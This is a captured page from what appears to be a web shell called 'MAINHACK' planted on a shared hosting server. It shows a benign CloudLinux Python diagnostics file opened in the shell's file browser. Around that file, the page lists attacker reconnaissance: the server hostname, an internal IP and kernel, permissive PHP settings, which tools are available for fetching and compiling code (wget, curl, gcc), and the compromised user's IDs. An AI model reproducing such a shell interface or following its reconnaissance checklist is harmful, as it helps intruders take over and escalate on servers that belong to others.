[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: cmt_utils.py
File is not writable. Editing disabled.
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2020 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENCE.TXT # # pylint: disable=no-absolute-import import json import os import requests import subprocess import shutil from clcommon.lib.consts import ( DEFAULT_JWT_ES_TOKEN_PATH, PUSHGATEWAY_ADDRESS, DISABLE_CMT_FILE, ) def is_client_enabled(raise_exception=False) -> bool: """ Check that client is activated. Absence of JWT token means that client can have volume license like GoDaddy In this case we return False. Also we return False in case of some errors: - Errors during request of status from CM - Malformed JWT token - Incorrect answer from CM """ try: token = open(DEFAULT_JWT_ES_TOKEN_PATH, "r").read().strip() req = requests.get( f'{PUSHGATEWAY_ADDRESS}/api/cm/get_backend_activation', headers={"X-Auth": token}, timeout=25, ) req.raise_for_status() result = req.json() activate = result['activate'] except ( json.JSONDecodeError, requests.exceptions.RequestException, OSError, KeyError, IOError, ): if raise_exception: raise # we do not want to raise for cldiag return False return activate def collect_cmt_request_debug(cmt_domain): """ Several checks for CM - ping cmt domain - ping something that MUST be accessible - traceroute to CM """ process_results = [] ping_binary = shutil.which('ping') if ping_binary: ping_process = subprocess.run([ping_binary, '-c', '5', cmt_domain], check=False, capture_output=True, text=True) ping_external_process = subprocess.run([ping_binary, '-c', '5', 'google.com'], check=False, capture_output=True, text=True) ping_cloudlinux = subprocess.run([ping_binary, '-c', '5', 'cloudlinux.com'], check=False, capture_output=True, text=True) process_results.extend([ping_process, ping_cloudlinux, ping_external_process]) traceroute_binary = shutil.which('traceroute') if traceroute_binary: traceroute_process = subprocess.run([traceroute_binary, '-T', cmt_domain], check=False, capture_output=True, text=True) process_results.append(traceroute_process) return '\n'.join(f'Command: {process_data.args}\nRetcode: {process_data.returncode}\n' f'Stdout: {process_data.stdout}\nStderr: {process_data.stderr}\n' for process_data in process_results) def log_request_error_debug_info(component, logger, error, url): """ Log debug info for request exceptions """ debug_info = collect_cmt_request_debug(url) resolv_conf_info = get_resolv_conf_info() or 'N/A' logger.error('%s error while requesting %s: %s \n\n' 'DNS info: %s \n' 'Debug info for request: \n %s', component, url, str(error), str(resolv_conf_info), debug_info, extra={'fingerprint': ['{{ default }}', component, error.__class__.__name__, url]}) def get_resolv_conf_info(): """ Get info from revolv.conf """ resolv_conf = '/etc/resolv.conf' if not os.path.exists(resolv_conf): return None with open(resolv_conf) as f: return f.read() def is_cmt_disabled() -> bool: """ Check that CM is disabled localy """ return os.path.exists(DISABLE_CMT_FILE)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A